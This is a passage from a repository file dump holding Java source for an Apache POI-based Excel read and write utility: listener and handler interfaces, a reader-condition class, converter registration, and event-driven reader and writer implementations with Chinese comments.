converter);\n\t\t\t\n\t\treturn this;\n\t}\n\n\t@Override\n\tpublic BingExcelEvent builder() {\n\t\tif (bingExcelEvent == null) {\n\t\t\tbingExcelEvent = new BingExcelEventImpl(defaultLocalConverterHandler);\n\t\t}\n\n\t\treturn this.bingExcelEvent;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingReadListener.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelEventImpl.ModelInfo;\n\npublic interface BingReadListener {\n\n\tvoid readModel(Object object, ModelInfo modelInfo);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/BingWriterHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\n\npublic interface BingWriterHandler {\n\t/**\n\t * 写入对象到excel表，默认同种对象在同一个sheet页面，不同对象另起新的sheet\n\t * @param obj\n\t */\n\tvoid writeLine(Object obj);\n\t\n\t/**\n\t * 单页最大行数\n\t * @param max\n\t */\n\tvoid setMaxLineForSheet(int max);\n\t/**\n\t * 输出文件。\n\t */\n\tvoid close(); \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/ReaderCondition.java",
    "content": "package com.jun.plugin.poi.test.excel.core;\n\n\n/**\n * 读取条件类\n * @author Wujun\n * \n * @date 2016-2-17 Description:\n */\npublic class ReaderCondition<T>  {\n\tprivate int startRow = 1;\n\tprivate int endRow = Integer.MAX_VALUE;\n\tprivate int sheetIndex = 0;\n\tprivate Class<T> clazz;\n\n\t/**\n\t * @param sheetIndex index of sheet,started 0;\n\t * @param clazz\n\t */\n\tpublic ReaderCondition(int sheetIndex, Class<T> clazz) {\n\t\tthis.sheetIndex = sheetIndex;\n\t\tthis.clazz = clazz;\n\t}\n\n\t\n\n\t/**\n\t * @param sheetIndex\n\t * @param startRow from which line to read.started 0;default 1;\n\t * @param clazz\n\t */\n\tpublic ReaderCondition(int sheetIndex, int startRow, Class<T> clazz) {\n\t\tthis.startRow = startRow;\n\t\tthis.sheetIndex = sheetIndex;\n\t\tthis.clazz = clazz;\n\t}\n\n\tpublic ReaderCondition<T> setStartRow(int startRow) {\n\t\tthis.startRow = startRow;\n\t\treturn this;\n\t}\n\n\t/**\n\t * @param endRow the end index num of row  ，0 started。default <code>Integer.MAX_VALUE</code> \n\t * @return\n\t */\n\tpublic ReaderCondition<T> setEndRow(int endRow) {\n\t\tthis.endRow = endRow;\n\t\treturn this;\n\t}\n\n\tpublic ReaderCondition<T> setSheetIndex(int sheetIndex) {\n\t\tthis.sheetIndex = sheetIndex;\n\t\treturn this;\n\t}\n\n\tpublic int getStartRow() {\n\t\treturn startRow;\n\t}\n\n\tpublic int getEndRow() {\n\t\treturn endRow;\n\t}\n\n\tpublic int getSheetIndex() {\n\t\treturn sheetIndex;\n\t}\n\n\tpublic Class<T> getTargetClazz() {\n\t\treturn clazz;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/common/FieldRelation.java",
    "content": "package com.jun.plugin.poi.test.excel.core.common;\n\n\npublic final class FieldRelation {\n    private final String name;\n    private final String declaringClass;\n\n    public FieldRelation(String definedIn, String name) {\n        this.name = name;\n        this.declaringClass = definedIn;\n    }\n\n    public FieldRelation(Class definedIn, String name) {\n        this(definedIn == null ? null : definedIn.getName(), name);\n    }\n\n    public String getName() {\n        return this.name;\n    }\n\n    public String getDeclaringClass() {\n        return this.declaringClass;\n    }\n\n    public boolean equals(Object obj) {\n        if (this == obj) {\n            return true;\n        }\n        if (obj == null) {\n            return false;\n        }\n        if (obj instanceof FieldRelation) {\n            final FieldRelation field = (FieldRelation)obj;\n            if ((declaringClass == null && field.declaringClass != null)\n                || (declaringClass != null && field.declaringClass == null)) {\n                return false;\n            }\n            return name.equals(field.getName())\n                && (declaringClass == null || declaringClass.equals(field.getDeclaringClass()));\n        }\n        return false;\n    }\n\n    public int hashCode() {\n        return name.hashCode() ^ (declaringClass == null ? 0 : declaringClass.hashCode());\n    }\n\n    public String toString() {\n        return (declaringClass == null ? \"\" : declaringClass + \".\") + name;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/handler/ConverterHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.core.handler;\n\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\n\n\n/**\n * @author Wujun\n *\n * @date 2015-12-14  PM 4:44:52  \n * Description:  \n */\npublic interface ConverterHandler {\n\n\t\n\t/**\n\t * Get default FieldConverter which is difined by <code>BaseGlobalConverterMapper</code> or user. \n\t * @param keyFieldType\n\t * @return defaultConvetter or null\n\t */\n\tFieldValueConverter getLocalConverter(Class<?> keyFieldType);\n\n\t/**\n\t * Registe converter for this {@code Class} clazz.\n\t * @param clazz\n\t * @param converter\n\t */\n\tvoid registerConverter(Class<?> clazz, FieldValueConverter converter);\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/handler/LocalConverterHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.core.handler;\n\nimport java.lang.reflect.Array;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.google.common.primitives.Primitives;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.exception.ConversionException;\nimport com.jun.plugin.poi.test.excel.mapper.BaseGlobalConverterMapper;\n\npublic class LocalConverterHandler implements ConverterHandler {\n\tprivate final Map<Class<?>, FieldValueConverter> defaultLocalConverter = Collections\n\t\t\t.synchronizedMap(new HashMap<Class<?>, FieldValueConverter>());\n\n\n@Override\n\tpublic void registerConverter(Class<?> clazz,\n\t\t\tFieldValueConverter converter) {\n\t\tif (converter.canConvert(clazz)) {\n\n\t\t\tif (clazz.isPrimitive()) {\n\t\t\t\tdefaultLocalConverter.put(Primitives.wrap(clazz), converter);\n\t\t\t} else {\n\t\t\t\tdefaultLocalConverter.put(clazz, converter);\n\t\t\t}\n\t\t} else {\n\t\t\tthrow new ConversionException(\"register converter for[\"\n\t\t\t\t\t+ clazz.getName() + \"] failed!\");\n\t\t}\n\t}\n\n\t\n\t@Override\n\tpublic FieldValueConverter getLocalConverter(Class<?> keyFieldType) {\n\t\tFieldValueConverter fieldValueConverter = defaultLocalConverter.get(keyFieldType);\n\t\tif(fieldValueConverter==null){\n\t\t\tfinal Class<?> keyType;\n\t\t\tif (keyFieldType.isEnum() || Enum.class.isAssignableFrom(keyFieldType)) {\n\t\t\t\tkeyType=Enum.class;\n\t\t\t} else if(keyFieldType.isArray()){\n\t\t\t\tkeyType=Array.class;\n\t\t\t}else if(Collection.class.isAssignableFrom(keyFieldType)){\n\t\t\t\tkeyType=Collection.class;\n\t\t\t}else{\n\t\t\t\tkeyType=keyFieldType;\n\t\t\t}\n\t\t\tfieldValueConverter=BaseGlobalConverterMapper.globalFieldConverterMapper.get(keyType);\n\t\t\tif (fieldValueConverter!=null) {\n\t\t\t\tdefaultLocalConverter.put(keyFieldType, fieldValueConverter);\n\t\t\t}\n\t\t}\n\t\treturn fieldValueConverter;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/impl/BingExcelEventImpl.java",
    "content": "package com.jun.plugin.poi.test.excel.core.impl;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.xml.sax.SAXException;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingReadListener;\nimport com.jun.plugin.poi.test.excel.core.BingWriterHandler;\nimport com.jun.plugin.poi.test.excel.core.ReaderCondition;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.handler.LocalConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.reflect.TypeAdapterConverter;\nimport com.jun.plugin.poi.test.excel.exception.IllegalEntityException;\nimport com.jun.plugin.poi.test.excel.mapper.AnnotationMapper;\nimport com.jun.plugin.poi.test.excel.mapper.ExcelConverterMapperHandler;\nimport com.jun.plugin.poi.test.excel.reader.AbstractExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReaderFactory;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\nimport com.jun.plugin.poi.test.excel.writer.ExcelWriterFactory;\nimport com.jun.plugin.poi.test.excel.writer.SXSSFWriterHandler;\nimport com.jun.plugin.poi.test.excel.writer.WriteHandler;\n\n/**\n * 创建时间：2015-12-8上午11:56:30 项目名称：excel\n *\n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：BingExcelImpl.java 类说明：\n */\npublic class BingExcelEventImpl implements BingExcelEvent {\n\n    /**\n     * model entity Converter,the relationship is sheet-to-entity\n     */\n    private final Map<Class<?>, TypeAdapterConverter<?>> typeTokenCache = Collections\n            .synchronizedMap(new HashMap<Class<?>, TypeAdapterConverter<?>>());\n    /**\n     * globe filed converter\n     */\n    private final ConverterHandler defaultLocalConverterHandler;\n    private final Set<Class<?>> targetTypes = Collections\n            .synchronizedSet(new HashSet<Class<?>>());\n    private ExcelConverterMapperHandler ormMapper = new AnnotationMapper();\n    private BingReadListener listener = null;\n\n    public BingExcelEventImpl(ConverterHandler converterHandler) {\n        this.defaultLocalConverterHandler = converterHandler;\n    }\n\n    public BingExcelEventImpl() {\n        this.defaultLocalConverterHandler = new LocalConverterHandler();\n    }\n\n    @Override\n    public <T> void readFile(File file, Class<T> clazz, int startRowNum,\n                             BingReadListener listener) throws Exception {\n        readFile(file, new ReaderCondition<T>(0, startRowNum, clazz), listener);\n    }\n\n    @SuppressWarnings({\"unchecked\", \"rawtypes\"})\n    @Override\n    public <T> void readFile(File file, ReaderCondition<T> condition,\n                             BingReadListener listener) throws Exception {\n\n        ReaderCondition[] arr = new ReaderCondition[]{condition};\n        readFileToList(file, arr, listener);\n\n    }\n\n    /*\n     * (non-Javadoc)\n     *\n     * @see com.bing.excel.core.ExcelBing#readSheetsToList(java.io.File,\n     * com.bing.excel.core.ReaderCondition[])\n     */\n    @SuppressWarnings({\"rawtypes\"})\n    @Override\n    public void readFileToList(File file, ReaderCondition[] conditions,\n                               BingReadListener listener) throws Exception {\n        this.listener = listener;\n        BingExcelReaderListener excelListener = new BingExcelReaderListener(\n                conditions);\n        ReadHandler handler = ExcelReaderFactory.create(file, excelListener,\n                true);\n        int[] indexArr = new int[conditions.length];\n        int minNum = -1;\n        for (int i = 0; i < conditions.length; i++) {\n            int sheetNum = conditions[i].getSheetIndex();\n            indexArr[i] = sheetNum;\n            if (minNum == -1) {\n                minNum = conditions[i].getEndRow();\n            } else if (minNum > conditions[i].getEndRow()) {\n                minNum = conditions[i].getEndRow();\n            }\n        }\n        handler.readSheet(indexArr, minNum);\n    }\n\n    @Override\n    public <T> void readStream(InputStream stream, Class<T> clazz,\n                               int startRowNum, BingReadListener listener) throws IOException,\n            SQLException, OpenXML4JException, SAXException {\n        readStream(stream, new ReaderCondition<T>(0, startRowNum, clazz),\n                listener);\n    }\n\n    @SuppressWarnings({\"rawtypes\", \"unchecked\"})\n    @Override\n    public <T> void readStream(InputStream stream,\n                               ReaderCondition<T> condition, BingReadListener listener)\n            throws IOException, SQLException, OpenXML4JException, SAXException {\n        ReaderCondition[] arr = new ReaderCondition[]{condition};\n        readStreamToList(stream, arr, listener);\n    }\n\n    @Override\n    public void readStreamToList(InputStream stream,\n                                 ReaderCondition[] conditions, BingReadListener listener)\n            throws IOException, SQLException, OpenXML4JException, SAXException {\n        this.listener = listener;\n        BingExcelReaderListener listner = new BingExcelReaderListener(\n                conditions);\n        ReadHandler handler = ExcelReaderFactory.create(stream, listner, true);\n        int[] indexArr = new int[conditions.length];\n        int minNum = 0;\n        for (int i = 0; i < conditions.length; i++) {\n            int sheetNum = conditions[i].getSheetIndex();\n            indexArr[i] = sheetNum;\n            if (minNum > conditions[i].getEndRow()) {\n                minNum = conditions[i].getEndRow();\n            }\n        }\n        handler.readSheet(indexArr, minNum);\n    }\n\n    @Override\n    public BingWriterHandler writeFile(File file) throws FileNotFoundException {\n        WriteHandler handler = ExcelWriterFactory.createSXSSF(file);\n        return new BingWriterHandlerImpl((SXSSFWriterHandler) handler, ormMapper, this);\n    }\n\n    @Override\n    public BingWriterHandler writeFile(String path) {\n        WriteHandler handler = ExcelWriterFactory.createSXSSF(path);\n        return new BingWriterHandlerImpl((SXSSFWriterHandler) handler, ormMapper, this);\n    }\n\n    private void registeAdapter(Class type) {\n\n        synchronized (type) {\n            if (targetTypes.contains(type)) {\n                return;\n            }\n            try {\n                // 转换的类型不可能对应的是基本类型\n                if (type.isPrimitive()) {\n                    return;\n                }\n                // 目前先不考虑model的接口继承问题 TODO\n                if (type.isInterface()\n                        || (type.getModifiers() & Modifier.ABSTRACT) > 0) {\n                    return;\n                }\n                final Field[] fields = type.getDeclaredFields();\n                List<Field> tempConverterFields = new ArrayList<>();\n                for (int i = 0; i < fields.length; i++) {\n                    final Field field = fields[i];\n\n                    if (field.isEnumConstant()\n                            || (field.getModifiers() & (Modifier.STATIC | Modifier.TRANSIENT)) > 0) {\n                        continue;\n                    }\n                    // 应该不会出现\n                    if (field.isSynthetic()) {\n                        continue;\n                    }\n                    field.setAccessible(true);\n                    tempConverterFields.add(field);\n\n                }\n                Constructor<?> constructor;\n                try {\n                    constructor = type.getDeclaredConstructor();\n                } catch (NoSuchMethodException | SecurityException e) {\n                    throw new IllegalEntityException(type,\n                            \"Gets the default constructor failed,the Objet must contains a  [no-args&public constructor] \", e);\n                }\n                TypeAdapterConverter typeAdapterConverter = getTypeAdapterConverter(\n                        constructor, tempConverterFields);\n                typeTokenCache.put(type, typeAdapterConverter);\n\n            } finally {\n                targetTypes.add(type);\n            }\n\n        }\n\n    }\n\n    private TypeAdapterConverter getTypeAdapterConverter(\n            Constructor<?> constructor, List<Field> tempConverterFields) {\n\n        TypeAdapterConverter adConverter = new TypeAdapterConverter<>(\n                constructor, tempConverterFields, defaultLocalConverterHandler);\n        return adConverter;\n    }\n\n    public static class BingWriterHandlerImpl implements BingWriterHandler {\n        class WriteState {\n            private int totleLine;\n            private String sheetName;\n\n            public WriteState(int totleLine, String sheetName) {\n                this.totleLine = totleLine;\n                this.sheetName = sheetName;\n            }\n\n            public String getSheetName() {\n                return sheetName;\n            }\n\n            public void setSheetName(String sheetName) {\n                this.sheetName = sheetName;\n            }\n\n            public int getTotleLine() {\n                return totleLine;\n            }\n\n            public void setTotleLine(int totleLine) {\n                this.totleLine = totleLine;\n            }\n        }\n\n        // private Class currentHeaderClass;\n        private Set<Class<?>> objectSetClass = new HashSet<Class<?>>();\n        private Map<String, WriteState> linesMap = new HashMap<>();\n        private String currentSheetName;\n        private final ExcelConverterMapperHandler ormMapper;\n        private final BingExcelEventImpl bingExcelEventImpl;\n        private SXSSFWriterHandler handler;\n        TypeAdapterConverter<?> typeAdapter = null;\n        private int maxLine = Integer.MAX_VALUE;\n\n        private BingWriterHandlerImpl(SXSSFWriterHandler handler,\n                                      ExcelConverterMapperHandler ormMapper,\n                                      BingExcelEventImpl bingExcelEventImpl) {\n            this.ormMapper = ormMapper;\n            this.bingExcelEventImpl = bingExcelEventImpl;\n            this.handler = handler;\n\n        }\n\n        @Override\n        public void writeLine(Object obj) {\n            if (null == obj) {\n                return;\n            }\n            prepareWriteLine(obj);\n            // FIXME 要不要改为其他设计呢？\n            ListLine listLine = typeAdapter.marshal(obj, ormMapper);\n            handler.writeLine(listLine);\n\n        }\n\n        @Override\n        public void setMaxLineForSheet(int max) {\n            if (max > 1) {\n                this.maxLine = max;\n            }\n        }\n\n        //TODO 逻辑走不通\n        private void prepareWriteLine(Object obj) {\n            Class<?> clazz = obj.getClass();\n\n            if (objectSetClass.contains(clazz)) {\n                WriteState writeState = linesMap.get(clazz.getName());\n                if (writeState.getSheetName().equals(currentSheetName)) {\n                    if (maxLine > writeState.getTotleLine()) {\n                        writeState.setTotleLine(writeState.getTotleLine()+1);\n                        typeAdapter = bingExcelEventImpl.typeTokenCache.get(clazz);\n                        return;\n                    }\n                } else {\n                    if (maxLine > writeState.getTotleLine()) {\n                        currentSheetName=writeState.getSheetName();\n                        handler.setCurrentSheetByName(writeState.getSheetName(),writeState.getTotleLine() );\n                        typeAdapter = bingExcelEventImpl.typeTokenCache.get(clazz);\n                        writeState.setTotleLine(writeState.getTotleLine()+1);\n                        return;\n\n                    }\n\n                }\n            } else {\n\n                preHandle(clazz);\n            }\n            currentSheetName = handler.createSheet(ormMapper.getModelName(clazz));\n            typeAdapter = bingExcelEventImpl.typeTokenCache.get(clazz);\n            List<CellKV<String>> header = typeAdapter.getHeader(ormMapper);\n            handler.writeHeader(header);\n            objectSetClass.add(clazz);\n            linesMap.put(clazz.getName(), new WriteState(1, currentSheetName));\n            // currentHeaderClass = clazz;\n        }\n\n        private void preHandle(Class clazz) {\n            ormMapper.processAnnotations(clazz);\n            bingExcelEventImpl.registeAdapter(clazz);\n        }\n\n        @Override\n        public void close() {\n            handler.flush();\n\n        }\n\n    }\n\n    private class BingExcelReaderListener extends AbstractExcelReadListener {\n\n        private final ReaderCondition[] conditions;\n        private Class tagertClazz = null;\n        private int startRow = 0;// start to read from first lines;\n        private ModelInfo modelInfo;\n\n        public BingExcelReaderListener(ReaderCondition[] conditions) {\n            super();\n            this.conditions = conditions;\n            Class[] arr = new Class[conditions.length];\n            for (int i = 0; i < conditions.length; i++) {\n                arr[i] = conditions[i].getTargetClazz();\n            }\n            ormMapper.processAnnotations(arr);\n        }\n\n        @Override\n        public void optRow(int curRow, ListRow rowList) {\n            if (curRow < startRow) {\n                return;\n            }\n            if (tagertClazz != null) {\n                TypeAdapterConverter<?> typeAdapter = typeTokenCache\n                        .get(tagertClazz);\n                if (typeAdapter == null) {\n                    if (targetTypes.contains(tagertClazz)) {\n                        throw new IllegalEntityException(tagertClazz, \"类型定义错误\");\n                    } else {\n                        throw new NullPointerException(\"没有对应的适配器，无法转换\");\n                    }\n                } else {\n                    Object object = typeAdapter.unmarshal(rowList, ormMapper);\n                    modelInfo.setRow(curRow);\n                    listener.readModel(object, modelInfo);\n                }\n\n            }\n        }\n\n        @Override\n        public void startSheet(int sheetIndex, String name) {\n\n            tagertClazz = null;\n            startRow = 0;\n            for (int i = 0; i < conditions.length; i++) {\n                if (conditions[i].getSheetIndex() == sheetIndex) {\n                    tagertClazz = conditions[i].getTargetClazz();\n                    registeAdapter(tagertClazz);\n                    startRow = conditions[i].getStartRow();\n                    modelInfo = new ModelInfo(sheetIndex, name);\n                    break;\n                }\n            }\n        }\n\n        @Override\n        public void endSheet(int sheetIndex, String name) {\n            this.modelInfo = null;\n        }\n\n        @Override\n        public void endWorkBook() {\n\n        }\n\n    }\n\n    public static class ModelInfo {\n        private int sheetIndex;\n        private String sheetName;\n        private Integer row;\n\n        protected ModelInfo() {\n\n        }\n\n        protected ModelInfo(int sheetIndex, String sheetName) {\n            this.sheetIndex = sheetIndex;\n            this.sheetName = sheetName;\n        }\n\n        ModelInfo getCopy() {\n            ModelInfo newOne = new ModelInfo(this.sheetIndex, this.sheetName);\n            newOne.setRow(this.row);\n            return newOne;\n        }\n\n        public int getSheetIndex() {\n            return sheetIndex;\n        }\n\n        void setSheetIndex(int sheetIndex) {\n            this.sheetIndex = sheetIndex;\n        }\n\n        public String getSheetName() {\n            return sheetName;\n        }\n\n        void setSheetName(String sheetName) {\n            this.sheetName = sheetName;\n        }\n\n        public int getRow() {\n            return row;\n        }\n\n        void setRow(int row) {\n            this.row = row;\n        }\n\n        @Override\n        public String toString() {\n\n            return MoreObjects.toStringHelper(getClass()).omitNullValues()\n                    .add(\"sheetName\", sheetName).add(\"sheetIndex\", sheetIndex)\n                    .add(\"row\", row).toString();\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/core/impl/BingExcelImpl.java",
    "content": "package com.jun.plugin.poi.test.excel.core.impl;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Modifier;\nimport java.sql.SQLException;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.xml.sax.SAXException;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.ReaderCondition;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.handler.LocalConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.reflect.TypeAdapterConverter;\nimport com.jun.plugin.poi.test.excel.exception.IllegalEntityException;\nimport com.jun.plugin.poi.test.excel.mapper.AnnotationMapper;\nimport com.jun.plugin.poi.test.excel.mapper.ExcelConverterMapperHandler;\nimport com.jun.plugin.poi.test.excel.reader.AbstractExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReaderFactory;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\nimport com.jun.plugin.poi.test.excel.writer.ExcelWriterFactory;\nimport com.jun.plugin.poi.test.excel.writer.WriteHandler;\n\n/**\n * 创建时间：2015-12-8上午11:56:30 项目名称：excel\n * \n * @author Wujun\n * @version 1.0\n * @since JDK 1.7 文件名称：BingExcelImpl.java 类说明：\n */\npublic class BingExcelImpl implements BingExcel {\n\n\t/**\n\t * model entity Converter,the relationship is sheet-to-entity\n\t */\n\tprivate final Map<Class<?>, TypeAdapterConverter<?>> typeTokenCache = new ConcurrentHashMap<Class<?>, TypeAdapterConverter<?>>();\n\t/**\n\t * globe filed converter\n\t */\n\tprivate final ConverterHandler localConverterHandler;\n\tprivate final Set<Class<?>> targetTypes = Collections\n\t\t\t.synchronizedSet(new HashSet<Class<?>>());\n\tprivate ExcelConverterMapperHandler ormMapper = new AnnotationMapper();\n\tprivate List<SheetVo> resultList;\n\n\tpublic BingExcelImpl(ConverterHandler localConverterHandler) {\n\t\tthis.localConverterHandler = localConverterHandler;\n\t}\n\n\tpublic BingExcelImpl() {\n\t\tthis.localConverterHandler = new LocalConverterHandler();\n\t}\n\n\t@Override\n\tpublic <T> SheetVo<T> readFile(File file, Class<T> clazz, int startRowNum)\n\t\t\tthrows Exception {\n\t\treturn readFile(file, new ReaderCondition<T>(0, startRowNum, clazz));\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\t@Override\n\tpublic <T> SheetVo<T> readFile(File file, ReaderCondition<T> condition)\n\t\t\tthrows Exception {\n\n\t\tReaderCondition[] arr = new ReaderCondition[] { condition };\n\t\tList<SheetVo> list = readFileToList(file, arr);\n\n\t\treturn list.size() == 0 ? null : list.get(0);\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see com.bing.excel.core.ExcelBing#readSheetsToList(java.io.File,\n\t * com.bing.excel.core.ReaderCondition[])\n\t */\n\t@SuppressWarnings({ \"rawtypes\" })\n\t@Override\n\tpublic List<SheetVo> readFileToList(File file, ReaderCondition[] conditions)\n\t\t\tthrows Exception {\n\t\tresultList = null;\n\t\tBingExcelReaderListener listner = new BingExcelReaderListener(\n\t\t\t\tconditions);\n\t\tReadHandler handler = ExcelReaderFactory.create(file, listner, true);\n\t\tint[] indexArr = new int[conditions.length];\n\t\tint minNum = -1;\n\t\tfor (int i = 0; i < conditions.length; i++) {\n\t\t\tint sheetNum = conditions[i].getSheetIndex();\n\t\t\tindexArr[i] = sheetNum;\n\t\t\tif (minNum == -1) {\n\t\t\t\tminNum = conditions[i].getEndRow();\n\t\t\t} else if (minNum > conditions[i].getEndRow()) {\n\t\t\t\tminNum = conditions[i].getEndRow();\n\t\t\t}\n\t\t}\n\t\thandler.readSheet(indexArr, minNum);\n\t\treturn this.resultList;\n\t}\n\n\t@Override\n\tpublic <T> SheetVo<T> readStream(InputStream stream, Class<T> clazz,\n\t\t\tint startRowNum) throws IOException, SQLException,\n\t\t\tOpenXML4JException, SAXException {\n\t\treturn readStream(stream, new ReaderCondition<T>(0, startRowNum, clazz));\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\t@Override\n\tpublic <T> SheetVo<T> readStream(InputStream stream,\n\t\t\tReaderCondition<T> condition) throws IOException, SQLException,\n\t\t\tOpenXML4JException, SAXException {\n\t\tReaderCondition[] arr = new ReaderCondition[] { condition };\n\t\tList<SheetVo> list = readStreamToList(stream, arr);\n\t\treturn list.size() == 0 ? null : list.get(0);\n\t}\n\n\t@Override\n\tpublic List<SheetVo> readStreamToList(InputStream stream,\n\t\t\tReaderCondition[] conditions) throws IOException, SQLException,\n\t\t\tOpenXML4JException, SAXException {\n\t\tresultList = null;\n\t\tBingExcelReaderListener listner = new BingExcelReaderListener(\n\t\t\t\tconditions);\n\t\tReadHandler handler = ExcelReaderFactory.create(stream, listner, true);\n\t\tint[] indexArr = new int[conditions.length];\n\t\tint minNum = 0;\n\t\tfor (int i = 0; i < conditions.length; i++) {\n\t\t\tint sheetNum = conditions[i].getSheetIndex();\n\t\t\tindexArr[i] = sheetNum;\n\t\t\tif (minNum > conditions[i].getEndRow()) {\n\t\t\t\tminNum = conditions[i].getEndRow();\n\t\t\t}\n\t\t}\n\t\thandler.readSheet(indexArr, minNum);\n\t\treturn this.resultList;\n\t}\n\n\t@Override\n\tpublic void writeExcel(File file, Iterable... iterables)\n\t\t\tthrows FileNotFoundException {\n\t\tWriteHandler handler = ExcelWriterFactory.createXSSF(file);\n\t\twriteToExcel(handler, iterables);\n\n\t}\n\n\t@Override\n\tpublic void writeOldExcel(File file, Iterable... iterables)\n\t\t\tthrows FileNotFoundException {\n\t\tWriteHandler handler = ExcelWriterFactory.createHSSF(file);\n\t\twriteToExcel(handler, iterables);\n\t}\n\n\t@Override\n\tpublic void writeExcel(String path, Iterable... iterables) {\n\t\tWriteHandler handler=ExcelWriterFactory.createXSSF(path);\n\t\twriteToExcel(handler, iterables);\n\t}\n\n\t@Override\n\tpublic void writeExcel(OutputStream stream, Iterable... iterables)  {\n\t\tWriteHandler handler=ExcelWriterFactory.createXSSF(stream);\n\t\twriteToExcel(handler, iterables);\n\t}\n\n\t@Override\n\tpublic void writeOldExcel(String path, Iterable... iterables) {\n\t\tWriteHandler handler = ExcelWriterFactory.createHSSF(path);\n\t\twriteToExcel(handler, iterables);\n\n\t}\n\n\t@Override\n\tpublic void writeOldExcel(OutputStream stream, Iterable... iterables) {\n\t\tWriteHandler handler = ExcelWriterFactory.createHSSF(stream);\n\t\twriteToExcel(handler, iterables);\n\t}\n\n\tprivate void writeToExcel(WriteHandler handler,Iterable... iterables) {\n\t\tfor (Iterable list : iterables) {\n\t\t\tboolean isAdd=false;\n\t\t\tTypeAdapterConverter<?> typeAdapter=null;\n\t\t\tfor (Object object : list) {\n\t\t\t\tif (!isAdd) {\n\t\t\t\t\tif (object != null) {\n\t\t\t\t\t\tisAdd = true;\n\t\t\t\t\t\tClass clazz=object.getClass();\n\t\t\t\t\t\tormMapper.processAnnotations(clazz);\n\t\t\t\t\t\tregisteAdapter(clazz);\n\t\t\t\t\t\t//create sheet\n\t\t\t\t\t\thandler.createSheet(ormMapper.getModelName(clazz));\n\t\t\t\t\t\t typeAdapter = typeTokenCache\n\t\t\t\t\t\t\t\t.get(clazz);\n\t\t\t\t\t\tList<CellKV<String>> header = typeAdapter.getHeader( ormMapper);\n\t\t\t\t\t\thandler.writeHeader(header);\n\t\t\t\t\t\tListLine listLine = typeAdapter.marshal(object, ormMapper);\n\t\t\t\t\t\thandler.writeLine(listLine);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\tListLine listLine = typeAdapter.marshal(object, ormMapper);\n\t\t\t\t\thandler.writeLine(listLine);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\thandler.flush();\n\t\t\n\t}\n\n\tprivate void registeAdapter(Class type) {\n\n\t\tsynchronized (type) {\n\t\t\tif (targetTypes.contains(type)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\t// 转换的类型不可能对应的是基本类型\n\t\t\t\tif (type.isPrimitive()) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t// 目前先不考虑model的接口继承问题 TODO\n\t\t\t\tif 